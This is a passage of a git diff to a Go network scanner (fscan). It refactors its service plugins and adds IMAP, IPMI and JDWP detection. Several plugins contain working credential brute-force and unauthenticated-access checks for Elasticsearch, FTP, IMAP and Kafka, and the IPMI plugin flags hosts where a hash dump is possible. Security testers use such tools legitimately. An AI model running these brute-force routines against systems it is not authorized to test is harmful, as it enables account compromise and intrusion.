target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 首先检测未授权访问 - if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, config, state) { - common.LogVuln(i18n.Tr("elasticsearch_unauth", target)) + if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) { + session.LogVuln(i18n.Tr("elasticsearch_unauth", target)) return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, Service: "elasticsearch", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } @@ -51,13 +50,13 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s return &ScanResult{ Success: false, Service: "elasticsearch", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } for _, cred := range credentials { - if p.testCredential(ctx, info, cred, config, state) { - common.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password)) + if p.testCredential(ctx, info, cred, session) { + session.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password)) return &ScanResult{ Success: true, Type: plugins.ResultTypeCredential, @@ -71,11 +70,12 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s return &ScanResult{ Success: false, Service: "elasticsearch", - Error: fmt.Errorf("未发现弱密码"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_weak_pass")), } } -func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) bool { +func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) bool { + config := session.Config client := &http.Client{ Timeout: config.Timeout, Transport: &http.Transport{ @@ -88,7 +88,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H if info.Port == 9443 { protocol = "https" } - url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port) + url := fmt.Sprintf("%s://%s/", protocol, info.Target()) req, err := http.NewRequestWithContext(ctx, "GET", url, nil) if err != nil { @@ -100,12 +100,10 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H req.Header.Set("Authorization", "Basic "+auth) } - resp, err := client.Do(req) + resp, err := session.HTTPDo(client, req) if err != nil { - state.IncrementTCPFailedPacketCount() return false } - state.IncrementTCPSuccessPacketCount() defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { @@ -121,15 +119,15 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H return false } -func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, config, state) { + if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) { banner := "Elasticsearch" - common.LogSuccess(i18n.Tr("elasticsearch_service", target, banner)) + session.LogSuccess(i18n.Tr("elasticsearch_service", target, banner)) return &ScanResult{ Success: true, - Type: plugins.ResultTypeService, + Type: plugins.ResultTypeService, Service: "elasticsearch", Banner: banner, } @@ -137,7 +135,7 @@ func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common. return &ScanResult{ Success: false, Service: "elasticsearch", - Error: fmt.Errorf("无法识别为Elasticsearch服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Elasticsearch")), } } diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 5bf61a1..ae2fe7c 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -15,6 +15,7 @@ import ( "unicode" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) @@ -45,7 +46,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "findnet", - Error: fmt.Errorf("FindNet插件仅支持RPC端口135"), + Error: fmt.Errorf("%s", i18n.Tr("service_port_restriction", "FindNet", "135")), } } @@ -54,7 +55,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "findnet", - Error: fmt.Errorf("连接RPC端口失败: %w", err), + Error: fmt.Errorf(i18n.Tr("service_conn_port_failed", "%w"), err), } } defer func() { _ = conn.Close() }() @@ -85,7 +86,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } // 一次性输出所有行 if len(lines) > 0 { - common.LogSuccess(strings.Join(lines, "\n")) + session.LogSuccess(strings.Join(lines, "\n")) } } @@ -107,27 +108,26 @@ type NetworkInfo struct { // Summary 返回网络信息摘要 func (ni *NetworkInfo) Summary() string { if !ni.Valid { - return "网络发现失败" + return i18n.GetText("findnet_discovery_failed") } var parts []string if ni.Hostname != "" { - parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname)) + parts = append(parts, i18n.Tr("findnet_hostname", ni.Hostname)) } if len(ni.IPv4Addrs) > 0 { - parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs))) + parts = append(parts, i18n.Tr("findnet_ipv4_count", len(ni.IPv4Addrs))) } if len(ni.IPv6Addrs) > 0 { - parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs))) + parts = append(parts, i18n.Tr("findnet_ipv6_count", len(ni.IPv6Addrs))) } if len(parts) == 0 { - return "网络信息收集完成" + return i18n.GetText("findnet_complete") } return strings.Join(parts, ", ") } - // RPC数据包定义 var ( rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") @@ -139,24 +139,24 @@ var ( func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, error) { // 发送第一个RPC请求 if _, err := conn.Write(rpcBuffer1); err != nil { - return nil, fmt.Errorf("发送RPC请求1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request1_failed"), err) } // 读取响应 reply := make([]byte, 4096) if _, err := conn.Read(reply); err != nil { - return nil, fmt.Errorf("读取RPC响应1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response1_failed"), err) } // 发送第二个RPC请求 if _, err := conn.Write(rpcBuffer2); err != nil { - return nil, fmt.Errorf("发送RPC请求2失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request2_failed"), err) } // 读取网络信息响应 n, err := conn.Read(reply) if err != nil || n < 42 { - return nil, fmt.Errorf("读取RPC响应2失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response2_failed"), err) } // 解析响应数据 diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index a3513d6..00dc343 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -28,13 +28,13 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co config := session.Config state := session.State if config.DisableBrute { - return p.identifyService(info, config, state) + return p.identifyService(info, session) } target := info.Target() // 优先检测匿名访问 - if result := p.testAnonymousAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testAnonymousAccess(ctx, info, session); result != nil && result.Success { return result } @@ -43,7 +43,7 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "ftp", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -57,13 +57,13 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 成功后重新连接获取文件列表 fileList := p.getFileListAfterAuth(info, result.Username, result.Password, config, state) var output strings.Builder - output.WriteString(fmt.Sprintf("FTP %s %s:%s", target, result.Username, result.Password)) + fmt.Fprintf(&output, "FTP %s %s:%s", target, result.Username, result.Password) if len(fileList) > 0 { for _, file := range fileList { - output.WriteString(fmt.Sprintf("\n [->] %s", file)) + fmt.Fprintf(&output, "\n [->] %s", file) } } - common.LogVuln(output.String()) + session.LogVuln(output.String()) } return result @@ -144,7 +144,9 @@ func classifyFTPErrorType(err error) ErrorType { return ClassifyError(err, ftpAuthErrors, ftpNetworkErrors) } -func (p *FTPPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FTPPlugin) identifyService(info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout)) @@ -160,7 +162,7 @@ func (p *FTPPlugin) identifyService(info *common.HostInfo, config *common.Config defer func() { _ = conn.Quit() }() banner := "FTP" - common.LogSuccess(i18n.Tr("ftp_service", target, banner)) + session.LogSuccess(i18n.Tr("ftp_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -170,7 +172,9 @@ func (p *FTPPlugin) identifyService(info *common.HostInfo, config *common.Config } // testAnonymousAccess 测试FTP匿名访问 -func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() anonymousCreds := []Credential{ @@ -198,13 +202,13 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn _ = result.Conn.Close() var output strings.Builder - output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password)) + output.WriteString(i18n.Tr("ftp_anonymous_access_detail", target, cred.Username, cred.Password)) if len(fileList) > 0 { for _, file := range fileList { - output.WriteString(fmt.Sprintf("\n [->] %s", file)) + fmt.Fprintf(&output, "\n [->] %s", file) } } - common.LogVuln(output.String()) + session.LogVuln(output.String()) return &ScanResult{ Type: plugins.ResultTypeCredential, @@ -212,7 +216,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn Service: "ftp", Username: cred.Username, Password: cred.Password, - Banner: "FTP匿名访问", + Banner: i18n.GetText("ftp_anonymous_banner"), } } } diff --git a/plugins/services/imap.go b/plugins/services/imap.go new file mode 100644 index 0000000..25fd2b9 --- /dev/null +++ b/plugins/services/imap.go @@ -0,0 +1,118 @@ +//go:build plugin_imap || !plugin_selective + +package services + +import ( + "bufio" + "context" + "fmt" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type IMAPPlugin struct { + plugins.BasePlugin +} + +func NewIMAPPlugin() *IMAPPlugin { + return &IMAPPlugin{BasePlugin: plugins.NewBasePlugin("imap")} +} + +func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + timeout := config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "imap"} + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + reader := bufio.NewReader(conn) + banner, err := reader.ReadString('\n') + if err != nil || !strings.Contains(banner, "OK") { + return &ScanResult{Success: false, Service: "imap"} + } + banner = strings.TrimSpace(banner) + + serviceResult := &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "imap", + Banner: banner, + } + + if config.DisableBrute { + return serviceResult + } + + credentials := GenerateCredentials("imap", config) + if len(credentials) == 0 { + return serviceResult + } + + for _, cred := range credentials { + select { + case <-ctx.Done(): + return serviceResult + default: + } + + if result := p.tryLogin(ctx, info, cred, timeout, session); result != nil { + return result + } + } + + return serviceResult +} + +func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult { + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return nil + } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + reader := bufio.NewReader(conn) + if _, err := reader.ReadString('\n'); err != nil { + return nil + } + + loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password) + if _, err := conn.Write([]byte(loginCmd)); err != nil { + return nil + } + + response, err := reader.ReadString('\n') + if err != nil { + return nil + } + + if strings.Contains(response, "a001 OK") { + _, _ = conn.Write([]byte("a002 LOGOUT\r\n")) + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeCredential, + Service: "imap", + Username: cred.Username, + Password: cred.Password, + } + } + return nil +} + +func init() { + RegisterPluginWithPorts("imap", func() Plugin { + return NewIMAPPlugin() + }, []int{143, 993}) +} diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go new file mode 100644 index 0000000..fe32eaf --- /dev/null +++ b/plugins/services/ipmi.go @@ -0,0 +1,163 @@ +//go:build plugin_ipmi || !plugin_selective + +package services + +import ( + "context" + "fmt" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type IPMIPlugin struct { + plugins.BasePlugin +} + +func NewIPMIPlugin() *IPMIPlugin { + return &IPMIPlugin{BasePlugin: plugins.NewBasePlugin("ipmi")} +} + +func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + target := info.Target() + + if result := p.rmcpPing(ctx, target, timeout, session); result != nil { + return result + } + return &ScanResult{Success: false, Service: "ipmi"} +} + +func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) *ScanResult { + conn, err := session.DialUDP(ctx, target, timeout) + if err != nil { + return nil + } + defer conn.Close() + + // ASF Presence Ping: RMCP header + ASF message + ping := []byte{ + 0x06, // RMCP version 1.0 + 0x00, // reserved + 0xff, // sequence number (no ack) + 0x06, // class = ASF + 0x00, 0x00, 0x11, 0xbe, // IANA enterprise = ASF (4542) + 0x80, // message type = Presence Ping + 0x00, // message tag + 0x00, // reserved + 0x00, // data length = 0 + } + + if _, err := conn.Write(ping); err != nil { + return nil + } + + buf := make([]byte, 512) + n, err := conn.Read(buf) + if err != nil || n < 12 { + return nil + } + + // Validate RMCP response + if buf[0] != 0x06 || buf[3] != 0x06 { + return nil + } + // Check ASF Presence Pong (message type = 0x40) + if n >= 9 && buf[8] != 0x40 { + return nil + } + + banner := "IPMI/RMCP service detected" + if n >= 16 { + banner = fmt.Sprintf("IPMI/RMCP detected (supported entities: 0x%02x)", buf[15]) + if buf[15]&0x80 != 0 { + banner += " [IPMI supported]" + } + } + + // Try to get channel auth capabilities for more info + if authInfo := p.getChannelAuth(conn); authInfo != "" { + banner += " " + authInfo + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "ipmi", + VulInfo: "IPMI Service Exposed (hash dump possible with rakp)", + Banner: banner, + } +} + +func (p *IPMIPlugin) getChannelAuth(conn interface { + Read([]byte) (int, error) + Write([]byte) (int, error) + SetDeadline(time.Time) error +}) string { + _ = conn.SetDeadline(time.Now().Add(2 * time.Second)) + + // IPMI Get Channel Authentication Capabilities + // RMCP header + IPMI session wrapper + message + pkt := []byte{ + 0x06, 0x00, 0xff, 0x07, // RMCP: version, reserved, seq=0xff, class=IPMI + 0x00, 0x00, 0x00, 0x00, // auth type = none + 0x00, 0x00, 0x00, 0x00, // session seq + 0x00, 0x00, 0x00, 0x00, // session id + 0x09, // message length + 0x20, // target = BMC + 0x18, // netFn=App(6) << 2 | lun=0 + 0xc8, // checksum + 0x81, // source + 0x00, // seq + 0x38, // cmd = Get Channel Auth Capabilities + 0x8e, // channel=14 (current), IPMI v2.0 + 0x04, // privilege = Administrator + 0xb5, // checksum + } + + if _, err := conn.Write(pkt); err != nil { + return "" + } + + buf := make([]byte, 512) + n, err := conn.Read(buf) + if err != nil || n < 30 { + return "" + } + + // Parse auth capabilities from response + if n >= 27 { + authTypes := buf[22] + var methods []string + if authTypes&0x01 != 0 { + methods = append(methods, "none") + } + if authTypes&0x02 != 0 { + methods = append(methods, "md2") + } + if authTypes&0x04 != 0 { + methods = append(methods, "md5") + } + if authTypes&0x10 != 0 { + methods = append(methods, "password") + } + if authTypes&0x20 != 0 { + methods = append(methods, "oem") + } + if len(methods) > 0 { + return fmt.Sprintf("[auth: %v]", methods) + } + } + return "" +} + +func init() { + RegisterUDPPluginWithPorts("ipmi", func() Plugin { + return NewIPMIPlugin() + }, []int{623}) +} diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go new file mode 100644 index 0000000..ba39d83 --- /dev/null +++ b/plugins/services/jdwp.go @@ -0,0 +1,114 @@ +//go:build plugin_jdwp || !plugin_selective + +package services + +import ( + "bytes" + "context" + "io" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +var jdwpHandshake = []byte("JDWP-Handshake") + +type JDWPPlugin struct { + plugins.BasePlugin +} + +func NewJDWPPlugin() *JDWPPlugin { + return &JDWPPlugin{BasePlugin: plugins.NewBasePlugin("jdwp")} +} + +func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "jdwp"} + } + defer conn.Close() + + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.Write(jdwpHandshake); err != nil { + return &ScanResult{Success: false, Service: "jdwp"} + } + + buf := make([]byte, len(jdwpHandshake)) + if _, err := io.ReadFull(conn, buf); err != nil || !bytes.Equal(buf, jdwpHandshake) { + return &ScanResult{Success: false, Service: "jdwp"} + } + + version := p.getVersion(conn, timeout) + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "jdwp", + VulInfo: "JDWP Remote Debug Port Exposed", + Banner: version, + } +} + +func (p *JDWPPlugin) getVersion(conn interface { + Read([]byte) (int, error) + Write([]byte) (int, error) + SetDeadline(time.Time) error +}, timeout time.Duration) string { + _ = conn.SetDeadline(time.Now().Add(timeout)) + + // JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1 + pkt := []byte{ + 0x00, 0x00, 0x00, 0x0b, // length = 11 + 0x00, 0x00, 0x00, 0x01, // id = 1 + 0x00, // flags = 0 (request) + 0x01, // commandSet = 1 (VirtualMachine) + 0x01, // command = 1 (Version) + } + if _, err := conn.Write(pkt); err != nil { + return "" + } + + header := make([]byte, 11) + if _, err := conn.Read(header); err != nil { + return "" + } + replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3]) + if replyLen <= 11 || replyLen > 4096 { + return "" + } + + body := make([]byte, replyLen-11) + if _, err := conn.Read(body); err != nil { + return "" + } + + return parseJDWPVersionString(body) +} + +func parseJDWPVersionString(data []byte) string { + if len(data) < 4 { + return "" + } + strLen := int(data[0])<<24 | int(data[1])<<16 | int(data[2])<<8 | int(data[3]) + if strLen <= 0 || strLen > len(data)-4 { + return "" + } + s := string(data[4 : 4+strLen]) + if len(s) > 200 { + s = s[:200] + } + return s +} + +func init() { + RegisterPluginWithPorts("jdwp", func() Plugin { + return NewJDWPPlugin() + }, []int{5005, 8000, 8787, 5050}) +} diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 71d0339..8137e2f 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -4,16 +4,18 @@ package services import ( "context" + "encoding/binary" "fmt" - "strings" + "io" + "net" + "time" - "github.com/IBM/sarama" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) -// KafkaPlugin Kafka扫描插件 +// KafkaPlugin Kafka扫描插件(纯 raw TCP 实现,无重型依赖) type KafkaPlugin struct { plugins.BasePlugin } @@ -28,7 +30,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session * config := session.Config state := session.State if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() @@ -38,185 +40,241 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return &ScanResult{ Success: false, Service: "kafka", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } - // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig) if result.Success { - common.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password)) } return result } -// createAuthFunc 创建Kafka认证函数 func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { return p.doKafkaAuth(ctx, info, cred, config, state) } } -// doKafkaAuth 执行Kafka认证 +// ── raw TCP Kafka 实现 ────────────────────────────────────────── + func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { target := info.Target() + timeout := config.Timeout - kafkaConfig := sarama.NewConfig() - kafkaConfig.Net.DialTimeout = config.Timeout - kafkaConfig.Net.ReadTimeout = config.Timeout - kafkaConfig.Net.WriteTimeout = config.Timeout - kafkaConfig.Version = sarama.V2_0_0_0 - - if cred.Username != "" || cred.Password != "" { - kafkaConfig.Net.SASL.Enable = true - kafkaConfig.Net.SASL.Mechanism = sarama.SASLTypePlaintext - kafkaConfig.Net.SASL.User = cred.Username - kafkaConfig.Net.SASL.Password = cred.Password - kafkaConfig.Net.SASL.Handshake = true - } - - type kafkaResult struct { - client sarama.Client - err error - } - - resultChan := make(chan kafkaResult, 1) - go func() { - client, err := sarama.NewClient([]string{target}, kafkaConfig) - resultChan <- kafkaResult{client: client, err: err} - }() - - select { - case result := <-resultChan: - if result.err != nil { - state.IncrementTCPFailedPacketCount() - return &AuthResult{ - Success: false, - ErrorType: classifyKafkaErrorType(result.err), - Error: result.err, - } - } - state.IncrementTCPSuccessPacketCount() - return &AuthResult{ - Success: true, - Conn: &kafkaClientWrapper{result.client}, - ErrorType: ErrorTypeUnknown, - Error: nil, - } - case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的 client - go func() { - result := <-resultChan - if result.client != nil { - _ = result.client.Close() - } - }() + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", target) + if err != nil { + state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, - ErrorType: ErrorTypeNetwork, - Error: ctx.Err(), + ErrorType: classifyKafkaErrorType(err), + Error: err, } } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + // Step 1: ApiVersions 握手 (api_key=18, api_version=0) + if err := kafkaSend(conn, 18, 0, nil); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + _, err = kafkaRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + // Step 2: SASL/PLAIN 认证 (如果需要) + if cred.Username != "" || cred.Password != "" { + // SaslHandshake: mechanism=PLAIN (api_key=17, api_version=0) + body := kafkaString("PLAIN") + if err := kafkaSend(conn, 17, 0, body); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + resp, err := kafkaRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: classifyKafkaErrorType(err), Error: err} + } + // SaslHandshake 响应: [4B error_code] + [mechanisms array] + if len(resp) >= 2 { + code := int16(binary.BigEndian.Uint16(resp[:2])) + if code != 0 { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("SASL handshake error: %d", code)} + } + } + + // SaslAuthenticate: PLAIN token = \x00user\x00pass (api_key=36, api_version=0) + token := []byte("\x00" + cred.Username + "\x00" + cred.Password) + authBody := kafkaBytes(token) + if err := kafkaSend(conn, 36, 0, authBody); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + resp, err = kafkaRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: classifyKafkaErrorType(err), Error: err} + } + if len(resp) >= 2 { + code := int16(binary.BigEndian.Uint16(resp[:2])) + if code != 0 { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("SASL authenticate error: %d", code)} + } + } + } + + // Step 3: Metadata 请求验证连接 (api_key=3, api_version=0) + // body: [topics_array] -> empty array = request all topics + metaBody := []byte{0x00, 0x00, 0x00, 0x00} // empty topics array + allow_auto_topic_creation=false + if err := kafkaSend(conn, 3, 0, metaBody); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + _, err = kafkaRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + state.IncrementTCPSuccessPacketCount() + return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} } -// kafkaClientWrapper 包装 sarama.Client 以实现 io.Closer -type kafkaClientWrapper struct { - sarama.Client +// ── Kafka 协议编解码 ──────────────────────────────────────────── + +var kafkaCorrelationID int32 + +func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { + corrID := kafkaCorrelationID + kafkaCorrelationID++ + + // 请求格式: [4B len] [2B api_key] [2B api_version] [4B corr_id] [2B client_id_len] [client_id] [body] + clientID := "fscan" + totalLen := 2 + 2 + 4 + 2 + len(clientID) + len(body) + buf := make([]byte, 4+totalLen) + binary.BigEndian.PutUint32(buf[0:4], uint32(totalLen)) + binary.BigEndian.PutUint16(buf[4:6], uint16(apiKey)) + binary.BigEndian.PutUint16(buf[6:8], uint16(apiVersion)) + binary.BigEndian.PutUint32(buf[8:12], uint32(corrID)) + binary.BigEndian.PutUint16(buf[12:14], uint16(len(clientID))) + copy(buf[14:], clientID) + copy(buf[14+len(clientID):], body) + + _, err := conn.Write(buf) + return err } -func (w *kafkaClientWrapper) Close() error { - return w.Client.Close() +func kafkaRecv(conn net.Conn) ([]byte, error) { + // 读取 4 字节长度 + lenBuf := make([]byte, 4) + if _, err := io.ReadFull(conn, lenBuf); err != nil { + return nil, err + } + msgLen := int(binary.BigEndian.Uint32(lenBuf)) + // 读取消息体 + msg := make([]byte, msgLen) + if _, err := io.ReadFull(conn, msg); err != nil { + return nil, err + } + // 跳过 correlation_id (4B),返回 body + if len(msg) >= 4 { + return msg[4:], nil + } + return msg, nil } -// classifyKafkaErrorType Kafka错误分类 +func kafkaString(s string) []byte { + b := []byte(s) + buf := make([]byte, 2+len(b)) + binary.BigEndian.PutUint16(buf, uint16(len(b))) + copy(buf[2:], b) + return buf +} + +func kafkaBytes(b []byte) []byte { + buf := make([]byte, 4+len(b)) + binary.BigEndian.PutUint32(buf, uint32(len(b))) + copy(buf[4:], b) + return buf +} + +// ── 错误分类 ──────────────────────────────────────────────────── + func classifyKafkaErrorType(err error) ErrorType { if err == nil { return ErrorTypeUnknown } - kafkaAuthErrors := []string{ "sasl authentication failed", "authentication failed", "invalid credentials", "unauthorized", - "sasl/plain authentication failed", } - kafkaNetworkErrors := append(CommonNetworkErrors, - "kafka: client has run out of available brokers", "broker not available", "no available brokers", ) - return ClassifyError(err, kafkaAuthErrors, kafkaNetworkErrors) } -func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +// ── 服务识别 ──────────────────────────────────────────────────── + +func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() + timeout := config.Timeout - // 尝试无认证连接 - emptyCred := Credential{Username: "", Password: ""} - result := p.doKafkaAuth(ctx, info, emptyCred, config, state) - if result.Success && result.Conn != nil { - _ = result.Conn.Close() - banner := "Kafka (无认证)" - common.LogSuccess(i18n.Tr("kafka_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "kafka", - Banner: banner, - } - } - - // 尝试检测协议 - kafkaConfig := sarama.NewConfig() - kafkaConfig.Net.DialTimeout = config.Timeout - kafkaConfig.Version = sarama.V2_0_0_0 - - client, err := sarama.NewClient([]string{target}, kafkaConfig) + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", target) if err != nil { state.IncrementTCPFailedPacketCount() - if p.isKafkaProtocolError(err) { - banner := "Kafka (需要认证)" - common.LogSuccess(i18n.Tr("kafka_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "kafka", - Banner: banner, - } - } return &ScanResult{ Success: false, Service: "kafka", - Error: fmt.Errorf("无法识别为Kafka服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Kafka")), } } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + if err := kafkaSend(conn, 18, 0, nil); err != nil { + state.IncrementTCPFailedPacketCount() + return &ScanResult{Success: false, Service: 